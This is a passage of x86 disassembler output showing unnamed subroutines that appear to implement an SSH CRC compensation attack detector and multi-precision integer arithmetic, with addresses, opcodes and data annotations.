08060189  8b 15 24 93 07 08     mov    0x8079324,%edx  ;[in .data] 4096 'x0 x10 x0 x0' ""
0806018f  d1 e8                 shr    %eax
08060191  39 c2                 cmp    %eax,%edx
08060193  89 d3                 mov    %edx,%ebx
08060195  73 08                 jae    0806019f <Unknown0303+0x67>
08060197  90                    nop
08060198  c1 e3 02              shl    $0x2,%ebx
0806019b  39 c3                 cmp    %eax,%ebx
0806019d  72 f9                 jb     08060198 <Unknown0303+0x60>
0806019f  8b 0d 20 93 07 08     mov    0x8079320,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
080601a5  85 c9                 test   %ecx,%ecx
080601a7  75 23                 jne    080601cc <Unknown0303+0x94>
080601a9  83 ec 0c              sub    $0xc,%esp
080601ac  68 80 56 07 08        push   $0x8075680  ;[in .rodata] 1953721929 'x49 x6e x73 x74' "Installing
                                                   crc compensation attack detector."
080601b1  e8 ca fb fe ff        call   0804fd80 <Unknown0039>
080601b6  8d 04 1b              lea    (%ebx,%ebx,1),%eax
080601b9  89 04 24              mov    %eax,(%esp)
080601bc  89 1d 24 93 07 08     mov    %ebx,0x8079324  ;[in .data] 4096 'x0 x10 x0 x0' ""
080601c2  e8 c9 6c ff ff        call   08056e90 <Unknown0170>
080601c7  eb 1a                 jmp    080601e3 <Unknown0303+0xab>
080601c9  8d 76 00              lea    0x0(%esi),%esi
080601cc  39 d3                 cmp    %edx,%ebx
080601ce  76 1b                 jbe    080601eb <Unknown0303+0xb3>
080601d0  83 ec 08              sub    $0x8,%esp
080601d3  8d 04 1b              lea    (%ebx,%ebx,1),%eax
080601d6  50                    push   %eax
080601d7  51                    push   %ecx
080601d8  89 1d 24 93 07 08     mov    %ebx,0x8079324  ;[in .data] 4096 'x0 x10 x0 x0' ""
080601de  e8 e1 6c ff ff        call   08056ec4 <Unknown0171>
080601e3  a3 20 93 07 08        mov    %eax,0x8079320  ;[in .data] 0 'x0 x0 x0 x0' ""
080601e8  83 c4 10              add    $0x10,%esp
080601eb  83 7d 0c 38           cmpl   $0x38,0xc(%ebp)
080601ef  0f 87 a3 00 00 00     ja     08060298 <Unknown0303+0x160>  ;163 'xa3 x0 x0 x0' ""
080601f5  8b 45 08              mov    0x8(%ebp),%eax
```

```
080601f8  89 45 ec              mov     %eax,0xffffffec(%ebp)
080601fb  eb 4a                 jmp     08060247 <Unknown0303+0x10f>
080601fd  8d 76 00              lea     0x0(%esi),%esi
08060200  8b 5d 08              mov     0x8(%ebp),%ebx
08060203  eb 06                 jmp     0806020b <Unknown0303+0xd3>
08060205  8d 76 00              lea     0x0(%esi),%esi
08060208  83 c3 08              add     $0x8,%ebx
0806020b  3b 5d ec              cmp     0xffffffec(%ebp),%ebx
0806020e  73 33                 jae     08060243 <Unknown0303+0x10b>
08060210  8b 75 ec              mov     0xffffffec(%ebp),%esi
08060213  89 df                 mov     %ebx,%edi
08060215  b9 08 00 00 00        mov     $0x8,%ecx    ;8 'x8 x0 x0 x0' ""
0806021a  fc                    cld
0806021b  f3 a6                 repz cmpsb %es:(%edi),%ds:(%esi)
0806021d  0f 97 c2              seta    %dl
08060220  0f 92 c0              setb    %al
08060223  38 c2                 cmp     %al,%dl
08060225  75 e1                 jne     08060208 <Unknown0303+0xd0>
08060227  ff 75 10              pushl   0x10(%ebp)
0806022a  ff 75 0c              pushl   0xc(%ebp)
0806022d  ff 75 08              pushl   0x8(%ebp)
08060230  ff 75 ec              pushl   0xffffffec(%ebp)
08060233  e8 38 fe ff ff        call    08060070 <Unknown0302>
08060238  83 c4 10              add     $0x10,%esp
0806023b  85 c0                 test    %eax,%eax
0806023d  0f 85 40 01 00 00     jne     08060383 <Unknown0303+0x24b>  ;320 'x40 x1 x0 x0' "@"
08060243  83 45 ec 08           addl    $0x8,0xffffffec(%ebp)
08060247  8b 45 08              mov     0x8(%ebp),%eax
0806024a  03 45 0c              add     0xc(%ebp),%eax
0806024d  39 45 ec              cmp     %eax,0xffffffec(%ebp)
08060250  0f 83 82 01 00 00     jae     080603d8 <Unknown0303+0x2a0>  ;386 'x82 x1 x0 x0' ""
08060256  8b 75 10              mov     0x10(%ebp),%esi
08060259  85 f6                 test    %esi,%esi
0806025b  74 a3                 je      08060200 <Unknown0303+0xc8>
0806025d  8b 75 ec              mov     0xffffffec(%ebp),%esi
08060260  8b 7d 10              mov     0x10(%ebp),%edi
08060263  b9 08 00 00 00        mov     $0x8,%ecx    ;8 'x8 x0 x0 x0' ""
08060268  fc                    cld
08060269  f3 a6                 repz cmpsb %es:(%edi),%ds:(%esi)
0806026b  0f 97 c2              seta    %dl
0806026e  0f 92 c0              setb    %al
08060271  38 c2                 cmp     %al,%dl
08060273  75 8b                 jne     08060200 <Unknown0303+0xc8>
08060275  ff 75 10              pushl   0x10(%ebp)
08060278  ff 75 0c              pushl   0xc(%ebp)
0806027b  ff 75 08              pushl   0x8(%ebp)
0806027e  ff 75 ec              pushl   0xffffffec(%ebp)
08060281  e8 ea fd ff ff        call    08060070 <Unknown0302>
08060286  83 c4 10              add     $0x10,%esp
08060289  85 c0                 test    %eax,%eax
0806028b  0f 84 47 01 00 00     je      080603d8 <Unknown0303+0x2a0>  ;327 'x47 x1 x0 x0' "G"
08060291  e9 ed 00 00 00        jmp     08060383 <Unknown0303+0x24b>  ;237 'xed x0 x0 x0' ""
08060296  89 f6                 mov     %esi,%esi
08060298  31 db                 xor     %ebx,%ebx
0806029a  a1 24 93 07 08        mov     0x8079324,%eax  ;[in .data] 4096 'x0 x10 x0 x0' ""
0806029f  39 c3                 cmp     %eax,%ebx
080602a1  73 14                 jae     080602b7 <Unknown0303+0x17f>
080602a3  8b 15 20 93 07 08     mov     0x8079320,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
080602a9  8d 76 00              lea     0x0(%esi),%esi
080602ac  66 c7 04 5a ff ff     movw    $0xffff,(%edx,%ebx,2)
080602b2  43                    inc     %ebx
080602b3  39 c3                 cmp     %eax,%ebx
080602b5  72 f5                 jb      080602ac <Unknown0303+0x174>
080602b7  8b 5d 10              mov     0x10(%ebp),%ebx
080602ba  85 db                 test    %ebx,%ebx
080602bc  74 34                 je      080602f2 <Unknown0303+0x1ba>
080602be  8b 4d 10              mov     0x10(%ebp),%ecx
080602c1  0f b6 11              movzbl  (%ecx),%edx
080602c4  0f b6 41 01           movzbl  0x1(%ecx),%eax
080602c8  c1 e0 10              shl     $0x10,%eax
080602cb  c1 e2 18              shl     $0x18,%edx
080602ce  09 c2                 or      %eax,%edx
080602d0  0f b6 41 02           movzbl  0x2(%ecx),%eax
080602d4  c1 e0 08              shl     $0x8,%eax
080602d7  09 c2                 or      %eax,%edx
080602d9  0f b6 41 03           movzbl  0x3(%ecx),%eax
080602dd  09 c2                 or      %eax,%edx
080602df  a1 24 93 07 08        mov     0x8079324,%eax  ;[in .data] 4096 'x0 x10 x0 x0' ""
080602e4  48                    dec     %eax
080602e5  21 c2                 and     %eax,%edx
080602e7  a1 20 93 07 08        mov     0x8079320,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080602ec  66 c7 04 50 fe ff     movw    $0xfffe,(%eax,%edx,2)
080602f2  8b 45 08              mov     0x8(%ebp),%eax
080602f5  89 45 ec              mov     %eax,0xffffffec(%ebp)
```

```
080602f8  03 45 0c              add     0xc(%ebp),%eax
080602fb  39 45 ec              cmp     %eax,0xffffffec(%ebp)
080602fe  c7 45 f0 00 00 00 00  movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08060305  0f 83 cd 00 00 00     jae     080603d8 <Unknown0303+0x2a0>  ;205 'xcd x0 x0 x0' ""
0806030b  90                    nop
0806030c  8b 55 ec              mov     0xffffffec(%ebp),%edx
0806030f  0f b6 1a              movzbl  (%edx),%ebx
08060312  0f b6 42 01           movzbl  0x1(%edx),%eax
08060316  c1 e0 10              shl     $0x10,%eax
08060319  c1 e3 18              shl     $0x18,%ebx
0806031c  09 c3                 or      %eax,%ebx
0806031e  0f b6 42 02           movzbl  0x2(%edx),%eax
08060322  c1 e0 08              shl     $0x8,%eax
08060325  09 c3                 or      %eax,%ebx
08060327  0f b6 42 03           movzbl  0x3(%edx),%eax
0806032b  09 c3                 or      %eax,%ebx
0806032d  a1 24 93 07 08        mov     0x8079324,%eax   ;[in .data] 4096 'x0 x10 x0 x0' ""
08060332  89 45 e8              mov     %eax,0xffffffe8(%ebp)
08060335  48                    dec     %eax
08060336  21 c3                 and     %eax,%ebx
08060338  a1 20 93 07 08        mov     0x8079320,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0806033d  89 45 e0              mov     %eax,0xffffffe0(%ebp)
08060340  89 45 e4              mov     %eax,0xffffffe4(%ebp)
08060343  66 83 3c 58 ff        cmpw    $0xffffffff,(%eax,%ebx,2)
08060348  74 6e                 je      080603b8 <Unknown0303+0x280>
0806034a  89 f6                 mov     %esi,%esi
0806034c  66 83 3c 58 fe        cmpw    $0xfffffffe,(%eax,%ebx,2)
08060351  75 39                 jne     0806038c <Unknown0303+0x254>
08060353  8b 75 ec              mov     0xffffffec(%ebp),%esi
08060356  8b 7d 10              mov     0x10(%ebp),%edi
08060359  b9 08 00 00 00        mov     $0x8,%ecx   ;8 'x8 x0 x0 x0' ""
0806035e  fc                    cld
0806035f  f3 a6                 repz cmpsb %es:(%edi),%ds:(%esi)
08060361  0f 97 c2              seta    %dl
08060364  0f 92 c0              setb    %al
08060367  38 c2                 cmp     %al,%dl
08060369  75 31                 jne     0806039c <Unknown0303+0x264>
0806036b  ff 75 10              pushl   0x10(%ebp)
0806036e  ff 75 0c              pushl   0xc(%ebp)
08060371  ff 75 08              pushl   0x8(%ebp)
08060374  ff 75 ec              pushl   0xffffffec(%ebp)
08060377  e8 f4 fc ff ff        call    08060070 <Unknown0302>
0806037c  83 c4 10              add     $0x10,%esp
0806037f  85 c0                 test    %eax,%eax
08060381  74 2d                 je      080603b0 <Unknown0303+0x278>
08060383  b8 01 00 00 00        mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08060388  eb 50                 jmp     080603da <Unknown0303+0x2a2>
0806038a  89 f6                 mov     %esi,%esi
0806038c  0f b7 04 58           movzwl  (%eax,%ebx,2),%eax
08060390  8b 55 08              mov     0x8(%ebp),%edx
08060393  8d 3c c2              lea     (%edx,%eax,8),%edi
08060396  8b 75 ec              mov     0xffffffec(%ebp),%esi
08060399  eb be                 jmp     08060359 <Unknown0303+0x221>
0806039b  90                    nop
0806039c  8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806039f  48                    dec     %eax
080603a0  43                    inc     %ebx
080603a1  21 c3                 and     %eax,%ebx
080603a3  8b 45 e4              mov     0xffffffe4(%ebp),%eax
080603a6  66 83 3c 58 ff        cmpw    $0xffffffff,(%eax,%ebx,2)
080603ab  75 9f                 jne     0806034c <Unknown0303+0x214>
080603ad  eb 09                 jmp     080603b8 <Unknown0303+0x280>
080603af  90                    nop
080603b0  a1 20 93 07 08        mov     0x8079320,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080603b5  89 45 e0              mov     %eax,0xffffffe0(%ebp)
080603b8  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
080603bb  8b 55 e0              mov     0xffffffe0(%ebp),%edx
080603be  66 89 0c 5a           mov     %cx,(%edx,%ebx,2)
080603c2  8b 45 08              mov     0x8(%ebp),%eax
080603c5  83 45 ec 08           addl    $0x8,0xffffffec(%ebp)
080603c9  03 45 0c              add     0xc(%ebp),%eax
080603cc  ff 45 f0              incl    0xfffffff0(%ebp)
080603cf  39 45 ec              cmp     %eax,0xffffffec(%ebp)
080603d2  0f 82 34 ff ff ff     jb      0806030c <Unknown0303+0x1d4>  ;-204 'x34 xff xff xff' "4"
080603d8  31 c0                 xor     %eax,%eax
080603da  8d 65 f4              lea     0xfffffff4(%ebp),%esp
080603dd  5b                    pop     %ebx
080603de  5e                    pop     %esi
080603df  5f                    pop     %edi
080603e0  5d                    pop     %ebp
080603e1  c3                    ret
080603e2  89 f6                 mov     %esi,%esi
```

```
      ;
      ; >---------------------<  Subroutine # 304 >---------------------<
      ;
080603e4 <Unknown0304>:
080603e4   55                          push   %ebp
080603e5   89 e5                       mov    %esp,%ebp
080603e7   8b 45 08                    mov    0x8(%ebp),%eax
080603ea   85 c0                       test   %eax,%eax
080603ec   8b 55 0c                    mov    0xc(%ebp),%edx
080603ef   8b 4d 10                    mov    0x10(%ebp),%ecx
080603f2   75 05                       jne    080603f9 <Unknown0304+0x15>
080603f4   b8 7c 2f 06 08              mov    $0x8062f7c,%eax   ;-204 'x34 xff xff xff' "4"
080603f9   85 d2                       test   %edx,%edx
080603fb   75 05                       jne    08060402 <Unknown0304+0x1e>
080603fd   ba a8 2f 06 08              mov    $0x8062fa8,%edx   ;-204 'x34 xff xff xff' "4"
08060402   85 c9                       test   %ecx,%ecx
08060404   75 05                       jne    0806040b <Unknown0304+0x27>
08060406   b9 d8 2f 06 08              mov    $0x8062fd8,%ecx   ;-204 'x34 xff xff xff' "4"
0806040b   a3 28 93 07 08              mov    %eax,0x8079328   ;[in .data] 134623100 'x7c x2f x6 x8' "|/"
08060410   89 15 2c 93 07 08           mov    %edx,0x807932c   ;[in .data] 134623144 'xa8 x2f x6 x8' ""
08060416   89 0d 30 93 07 08           mov    %ecx,0x8079330   ;[in .data] 134623192 'xd8 x2f x6 x8' ""
0806041c   5d                          pop    %ebp
0806041d   c3                          ret
0806041e   89 f6                       mov    %esi,%esi


      ;
      ; >---------------------<  Subroutine # 305 >---------------------<
      ;
08060420 <Unknown0305>:
08060420   55                          push   %ebp
08060421   89 e5                       mov    %esp,%ebp
08060423   57                          push   %edi
08060424   56                          push   %esi
08060425   53                          push   %ebx
08060426   83 ec 6c                    sub    $0x6c,%esp
08060429   8b 5d 0c                    mov    0xc(%ebp),%ebx
0806042c   8b 43 04                    mov    0x4(%ebx),%eax
0806042f   89 45 a0                    mov    %eax,0xffffffa0(%ebp)
08060432   8b 55 a0                    mov    0xffffffa0(%ebp),%edx
08060435   8b 75 10                    mov    0x10(%ebp),%esi
08060438   8b 46 04                    mov    0x4(%esi),%eax
0806043b   85 d2                       test   %edx,%edx
0806043d   89 45 9c                    mov    %eax,0xffffff9c(%ebp)
08060440   89 55 98                    mov    %edx,0xffffff98(%ebp)
08060443   79 03                       jns    08060448 <Unknown0305+0x28>
08060445   f7 5d 98                    negl   0xffffff98(%ebp)
08060448   8b 7d 9c                    mov    0xffffff9c(%ebp),%edi
0806044b   85 ff                       test   %edi,%edi
0806044d   79 02                       jns    08060451 <Unknown0305+0x31>
0806044f   f7 df                       neg    %edi
08060451   39 7d 98                    cmp    %edi,0xffffff98(%ebp)
08060454   7d 1a                       jge    08060470 <Unknown0305+0x50>
08060456   89 d8                       mov    %ebx,%eax
08060458   89 f3                       mov    %esi,%ebx
0806045a   89 c6                       mov    %eax,%esi
0806045c   8b 45 a0                    mov    0xffffffa0(%ebp),%eax
0806045f   8b 4d 9c                    mov    0xffffff9c(%ebp),%ecx
08060462   89 45 9c                    mov    %eax,0xffffff9c(%ebp)
08060465   8b 45 98                    mov    0xffffff98(%ebp),%eax
08060468   89 4d a0                    mov    %ecx,0xffffffa0(%ebp)
0806046b   89 7d 98                    mov    %edi,0xffffff98(%ebp)
0806046e   89 c7                       mov    %eax,%edi
08060470   8b 45 98                    mov    0xffffff98(%ebp),%eax
08060473   40                          inc    %eax
08060474   8b 55 08                    mov    0x8(%ebp),%edx
08060477   39 02                       cmp    %eax,(%edx)
08060479   7d 0d                       jge    08060488 <Unknown0305+0x68>
0806047b   83 ec 08                    sub    $0x8,%esp
0806047e   50                          push   %eax
0806047f   52                          push   %edx
08060480   e8 cb 1e 00 00              call   08062350 <Unknown0331>
08060485   83 c4 10                    add    $0x10,%esp
08060488   8b 45 08                    mov    0x8(%ebp),%eax
0806048b   8b 55 a0                    mov    0xffffffa0(%ebp),%edx
0806048e   8b 40 08                    mov    0x8(%eax),%eax
08060491   33 55 9c                    xor    0xffffff9c(%ebp),%edx
08060494   8b 5b 08                    mov    0x8(%ebx),%ebx
08060497   8b 76 08                    mov    0x8(%esi),%esi
0806049a   89 45 a4                    mov    %eax,0xffffffa4(%ebp)
0806049d   0f 89 55 01 00 00           jns    080605f8 <Unknown0305+0x1d8>  ;341 'x55 x1 x0 x0' "U"
080604a3   39 7d 98                    cmp    %edi,0xffffff98(%ebp)
080604a6   0f 84 b0 00 00 00           je     0806055c <Unknown0305+0x13c>  ;176 'xb0 x0 x0 x0' ""
080604ac   85 ff                       test   %edi,%edi
```

```
080604ae   c7 45 94 00 00 00 00   movl    $0x0,0xffffff94(%ebp)   ;0 'x0 x0 x0 x0' ""
080604b5   74 0f                  je      080604c6 <Unknown0305+0xa6>
080604b7   57                     push    %edi
080604b8   56                     push    %esi
080604b9   53                     push    %ebx
080604ba   50                     push    %eax
080604bb   e8 58 4b 00 00         call    08065018 <Unknown0375>
080604c0   89 45 94               mov     %eax,0xffffff94(%ebp)
080604c3   83 c4 10               add     $0x10,%esp
080604c6   8d 04 bd 00 00 00 00   lea     0x0(,%edi,4),%eax   ;0 'x0 x0 x0 x0' ""
080604cd   8d 1c 03               lea     (%ebx,%eax,1),%ebx
080604d0   8b 13                  mov     (%ebx),%edx
080604d2   8b 4d a4               mov     0xffffffa4(%ebp),%ecx
080604d5   8d 34 01               lea     (%ecx,%eax,1),%esi
080604d8   89 d0                  mov     %edx,%eax
080604da   8b 4d 98               mov     0xffffff98(%ebp),%ecx
080604dd   2b 45 94               sub     0xffffff94(%ebp),%eax
080604e0   29 f9                  sub     %edi,%ecx
080604e2   83 c3 04               add     $0x4,%ebx
080604e5   89 06                  mov     %eax,(%esi)
080604e7   83 c6 04               add     $0x4,%esi
080604ea   39 d0                  cmp     %edx,%eax
080604ec   76 1e                  jbe     0806050c <Unknown0305+0xec>
080604ee   49                     dec     %ecx
080604ef   74 32                  je      08060523 <Unknown0305+0x103>
080604f1   8d 76 00               lea     0x0(%esi),%esi
080604f4   8b 13                  mov     (%ebx),%edx
080604f6   8d 42 ff               lea     0xffffffff(%edx),%eax
080604f9   83 c3 04               add     $0x4,%ebx
080604fc   89 06                  mov     %eax,(%esi)
080604fe   83 c6 04               add     $0x4,%esi
08060501   85 d2                  test    %edx,%edx
08060503   75 07                  jne     0806050c <Unknown0305+0xec>
08060505   49                     dec     %ecx
08060506   75 ec                  jne     080604f4 <Unknown0305+0xd4>
08060508   eb 19                  jmp     08060523 <Unknown0305+0x103>
0806050a   89 f6                  mov     %esi,%esi
0806050c   39 de                  cmp     %ebx,%esi
0806050e   74 13                  je      08060523 <Unknown0305+0x103>
08060510   31 d2                  xor     %edx,%edx
08060512   49                     dec     %ecx
08060513   39 ca                  cmp     %ecx,%edx
08060515   7d 0c                  jge     08060523 <Unknown0305+0x103>
08060517   90                     nop
08060518   8b 04 93               mov     (%ebx,%edx,4),%eax
0806051b   89 04 96               mov     %eax,(%esi,%edx,4)
0806051e   42                     inc     %edx
0806051f   39 ca                  cmp     %ecx,%edx
08060521   7c f5                  jl      08060518 <Unknown0305+0xf8>
08060523   8b 45 98               mov     0xffffff98(%ebp),%eax
08060526   85 c0                  test    %eax,%eax
08060528   0f 8e 60 01 00 00      jle     0806068e <Unknown0305+0x26e>   ;352 'x60 x1 x0 x0' "`"
0806052e   8b 4d a4               mov     0xffffffa4(%ebp),%ecx
08060531   8d 14 81               lea     (%ecx,%eax,4),%edx
08060534   8b 5a fc               mov     0xfffffffc(%edx),%ebx
08060537   85 db                  test    %ebx,%ebx
08060539   0f 85 4f 01 00 00      jne     0806068e <Unknown0305+0x26e>   ;335 'x4f x1 x0 x0' "O"
0806053f   83 ea 04               sub     $0x4,%edx
08060542   89 f6                  mov     %esi,%esi
08060544   48                     dec     %eax
08060545   83 ea 04               sub     $0x4,%edx
08060548   85 c0                  test    %eax,%eax
0806054a   0f 8e 3e 01 00 00      jle     0806068e <Unknown0305+0x26e>   ;318 'x3e x1 x0 x0' ">"
08060550   8b 0a                  mov     (%edx),%ecx
08060552   85 c9                  test    %ecx,%ecx
08060554   74 ee                  je      08060544 <Unknown0305+0x124>
08060556   e9 33 01 00 00         jmp     0806068e <Unknown0305+0x26e>   ;307 'x33 x1 x0 x0' "3"
0806055b   90                     nop
0806055c   57                     push    %edi
0806055d   ff 75 98               pushl   0xffffff98(%ebp)
08060560   56                     push    %esi
08060561   53                     push    %ebx
08060562   e8 39 2b 00 00         call    080630a0 <Unknown0351>
08060567   83 c4 10               add     $0x10,%esp
0806056a   85 c0                  test    %eax,%eax
0806056c   79 4a                  jns     080605b8 <Unknown0305+0x198>
0806056e   ff 75 98               pushl   0xffffff98(%ebp)
08060571   53                     push    %ebx
08060572   56                     push    %esi
08060573   ff 75 a4               pushl   0xffffffa4(%ebp)
08060576   e8 9d 4a 00 00         call    08065018 <Unknown0375>
0806057b   8b 45 98               mov     0xffffff98(%ebp),%eax
0806057e   83 c4 10               add     $0x10,%esp
08060581   85 c0                  test    %eax,%eax
```

```
08060583  7e 21                 jle      080605a6 <Unknown0305+0x186>
08060585  8b 4d a4              mov      0xffffffa4(%ebp),%ecx
08060588  8d 14 81              lea      (%ecx,%eax,4),%edx
0806058b  8b 5a fc              mov      0xfffffffc(%edx),%ebx
0806058e  85 db                 test     %ebx,%ebx
08060590  75 14                 jne      080605a6 <Unknown0305+0x186>
08060592  83 ea 04              sub      $0x4,%edx
08060595  8d 76 00              lea      0x0(%esi),%esi
08060598  48                    dec      %eax
08060599  83 ea 04              sub      $0x4,%edx
0806059c  85 c0                 test     %eax,%eax
0806059e  7e 06                 jle      080605a6 <Unknown0305+0x186>
080605a0  8b 0a                 mov      (%edx),%ecx
080605a2  85 c9                 test     %ecx,%ecx
080605a4  74 f2                 je       08060598 <Unknown0305+0x178>
080605a6  8b 7d a0              mov      0xffffffa0(%ebp),%edi
080605a9  85 ff                 test     %edi,%edi
080605ab  0f 88 e6 00 00 00     js       08060697 <Unknown0305+0x277>  ;230 'xe6 x0 x0 x0' ""
080605b1  e9 df 00 00 00        jmp      08060695 <Unknown0305+0x275>  ;223 'xdf x0 x0 x0' ""
080605b6  89 f6                 mov      %esi,%esi
080605b8  ff 75 98              pushl    0xffffff98(%ebp)
080605bb  56                    push     %esi
080605bc  53                    push     %ebx
080605bd  ff 75 a4              pushl    0xffffffa4(%ebp)
080605c0  e8 53 4a 00 00        call     08065018 <Unknown0375>
080605c5  8b 45 98              mov      0xffffff98(%ebp),%eax
080605c8  83 c4 10              add      $0x10,%esp
080605cb  85 c0                 test     %eax,%eax
080605cd  7e 1f                 jle      080605ee <Unknown0305+0x1ce>
080605cf  8b 4d a4              mov      0xffffffa4(%ebp),%ecx
080605d2  8d 14 81              lea      (%ecx,%eax,4),%edx
080605d5  8b 72 fc              mov      0xfffffffc(%edx),%esi
080605d8  85 f6                 test     %esi,%esi
080605da  75 12                 jne      080605ee <Unknown0305+0x1ce>
080605dc  83 ea 04              sub      $0x4,%edx
080605df  90                    nop
080605e0  48                    dec      %eax
080605e1  83 ea 04              sub      $0x4,%edx
080605e4  85 c0                 test     %eax,%eax
080605e6  7e 06                 jle      080605ee <Unknown0305+0x1ce>
080605e8  8b 1a                 mov      (%edx),%ebx
080605ea  85 db                 test     %ebx,%ebx
080605ec  74 f2                 je       080605e0 <Unknown0305+0x1c0>
080605ee  8b 4d a0              mov      0xffffffa0(%ebp),%ecx
080605f1  85 c9                 test     %ecx,%ecx
080605f3  e9 9b 00 00 00        jmp      08060693 <Unknown0305+0x273>  ;155 'x9b x0 x0 x0' ""
080605f8  85 ff                 test     %edi,%edi
080605fa  c7 45 90 00 00 00 00  movl     $0x0,0xffffff90(%ebp)   ;0 'x0 x0 x0 x0' ""
08060601  74 11                 je       08060614 <Unknown0305+0x1f4>
08060603  57                    push     %edi
08060604  56                    push     %esi
08060605  53                    push     %ebx
08060606  ff 75 a4              pushl    0xffffffa4(%ebp)
08060609  e8 da 29 00 00        call     08062fe8 <Unknown0350>
0806060e  89 45 90              mov      %eax,0xffffff90(%ebp)
08060611  83 c4 10              add      $0x10,%esp
08060614  39 7d 98              cmp      %edi,0xffffff98(%ebp)
08060617  74 65                 je       0806067e <Unknown0305+0x25e>
08060619  8d 04 bd 00 00 00 00  lea      0x0(,%edi,4),%eax  ;0 'x0 x0 x0 x0' ""
08060620  8b 55 a4              mov      0xffffffa4(%ebp),%edx
08060623  8d 1c 03              lea      (%ebx,%eax,1),%ebx
08060626  8d 34 02              lea      (%edx,%eax,1),%esi
08060629  8b 13                 mov      (%ebx),%edx
0806062b  8b 45 90              mov      0xffffff90(%ebp),%eax
0806062e  8b 4d 98              mov      0xffffff98(%ebp),%ecx
08060631  01 d0                 add      %edx,%eax
08060633  29 f9                 sub      %edi,%ecx
08060635  83 c3 04              add      $0x4,%ebx
08060638  89 06                 mov      %eax,(%esi)
0806063a  83 c6 04              add      $0x4,%esi
0806063d  39 d0                 cmp      %edx,%eax
0806063f  73 1f                 jae      08060660 <Unknown0305+0x240>
08060641  49                    dec      %ecx
08060642  74 12                 je       08060656 <Unknown0305+0x236>
08060644  8b 13                 mov      (%ebx),%edx
08060646  42                    inc      %edx
08060647  83 c3 04              add      $0x4,%ebx
0806064a  89 16                 mov      %edx,(%esi)
0806064c  83 c6 04              add      $0x4,%esi
0806064f  85 d2                 test     %edx,%edx
08060651  75 0d                 jne      08060660 <Unknown0305+0x240>
08060653  49                    dec      %ecx
08060654  75 ee                 jne      08060644 <Unknown0305+0x224>
08060656  c7 45 90 01 00 00 00  movl     $0x1,0xffffff90(%ebp)   ;1 'x1 x0 x0 x0' ""
```

```
0806065d   eb 1f                    jmp      0806067e <Unknown0305+0x25e>
0806065f   90                       nop
08060660   39 de                    cmp      %ebx,%esi
08060662   74 13                    je       08060677 <Unknown0305+0x257>
08060664   31 d2                    xor      %edx,%edx
08060666   49                       dec      %ecx
08060667   39 ca                    cmp      %ecx,%edx
08060669   7d 0c                    jge      08060677 <Unknown0305+0x257>
0806066b   90                       nop
0806066c   8b 04 93                 mov      (%ebx,%edx,4),%eax
0806066f   89 04 96                 mov      %eax,(%esi,%edx,4)
08060672   42                       inc      %edx
08060673   39 ca                    cmp      %ecx,%edx
08060675   7c f5                    jl       0806066c <Unknown0305+0x24c>
08060677   c7 45 90 00 00 00 00     movl     $0x0,0xffffff90(%ebp)   ;0 'x0 x0 x0 x0' ""
0806067e   8b 55 90                 mov      0xffffff90(%ebp),%edx
08060681   8b 4d 98                 mov      0xffffff98(%ebp),%ecx
08060684   8b 45 a4                 mov      0xffffffa4(%ebp),%eax
08060687   89 14 88                 mov      %edx,(%eax,%ecx,4)
0806068a   89 c8                    mov      %ecx,%eax
0806068c   01 d0                    add      %edx,%eax
0806068e   8b 55 a0                 mov      0xffffffa0(%ebp),%edx
08060691   85 d2                    test     %edx,%edx
08060693   79 02                    jns      08060697 <Unknown0305+0x277>
08060695   f7 d8                    neg      %eax
08060697   8b 4d 08                 mov      0x8(%ebp),%ecx
0806069a   89 41 04                 mov      %eax,0x4(%ecx)
0806069d   8d 65 f4                 lea      0xfffffff4(%ebp),%esp
080606a0   5b                       pop      %ebx
080606a1   5e                       pop      %esi
080606a2   5f                       pop      %edi
080606a3   5d                       pop      %ebp
080606a4   c3                       ret
080606a5   8d 76 00                 lea      0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 306 >--------------------<
   ;
080606a8 <Unknown0306>:
080606a8   55                       push     %ebp
080606a9   89 e5                    mov      %esp,%ebp
080606ab   57                       push     %edi
080606ac   56                       push     %esi
080606ad   53                       push     %ebx
080606ae   83 ec 0c                 sub      $0xc,%esp
080606b1   8b 75 0c                 mov      0xc(%ebp),%esi
080606b4   8b 7e 04                 mov      0x4(%esi),%edi
080606b7   85 ff                    test     %edi,%edi
080606b9   89 fb                    mov      %edi,%ebx
080606bb   79 02                    jns      080606bf <Unknown0306+0x17>
080606bd   f7 df                    neg      %edi
080606bf   8d 47 01                 lea      0x1(%edi),%eax
080606c2   8b 55 08                 mov      0x8(%ebp),%edx
080606c5   39 02                    cmp      %eax,(%edx)
080606c7   7d 0d                    jge      080606d6 <Unknown0306+0x2e>
080606c9   83 ec 08                 sub      $0x8,%esp
080606cc   50                       push     %eax
080606cd   52                       push     %edx
080606ce   e8 7d 1c 00 00           call     08062350 <Unknown0331>
080606d3   83 c4 10                 add      $0x10,%esp
080606d6   8b 45 08                 mov      0x8(%ebp),%eax
080606d9   8b 40 08                 mov      0x8(%eax),%eax
080606dc   85 ff                    test     %edi,%edi
080606de   8b 4e 08                 mov      0x8(%esi),%ecx
080606e1   89 45 f0                 mov      %eax,0xfffffff0(%ebp)
080606e4   75 1a                    jne      08060700 <Unknown0306+0x58>
080606e6   8b 55 10                 mov      0x10(%ebp),%edx
080606e9   89 10                    mov      %edx,(%eax)
080606eb   31 c0                    xor      %eax,%eax
080606ed   85 d2                    test     %edx,%edx
080606ef   0f 95 c0                 setne    %al
080606f2   8b 4d 08                 mov      0x8(%ebp),%ecx
080606f5   89 41 04                 mov      %eax,0x4(%ecx)
080606f8   e9 f9 00 00 00           jmp      080607f6 <Unknown0306+0x14e>   ;249 'xf9 x0 x0 x0' ""
080606fd   8d 76 00                 lea      0x0(%esi),%esi
08060700   85 db                    test     %ebx,%ebx
08060702   78 64                    js       08060768 <Unknown0306+0xc0>
08060704   8b 11                    mov      (%ecx),%edx
08060706   8b 45 10                 mov      0x10(%ebp),%eax
08060709   01 d0                    add      %edx,%eax
0806070b   8d 71 04                 lea      0x4(%ecx),%esi
0806070e   8b 4d f0                 mov      0xfffffff0(%ebp),%ecx
08060711   89 01                    mov      %eax,(%ecx)
```

```
08060713   8b 4d f0         mov    0xfffffff0(%ebp),%ecx
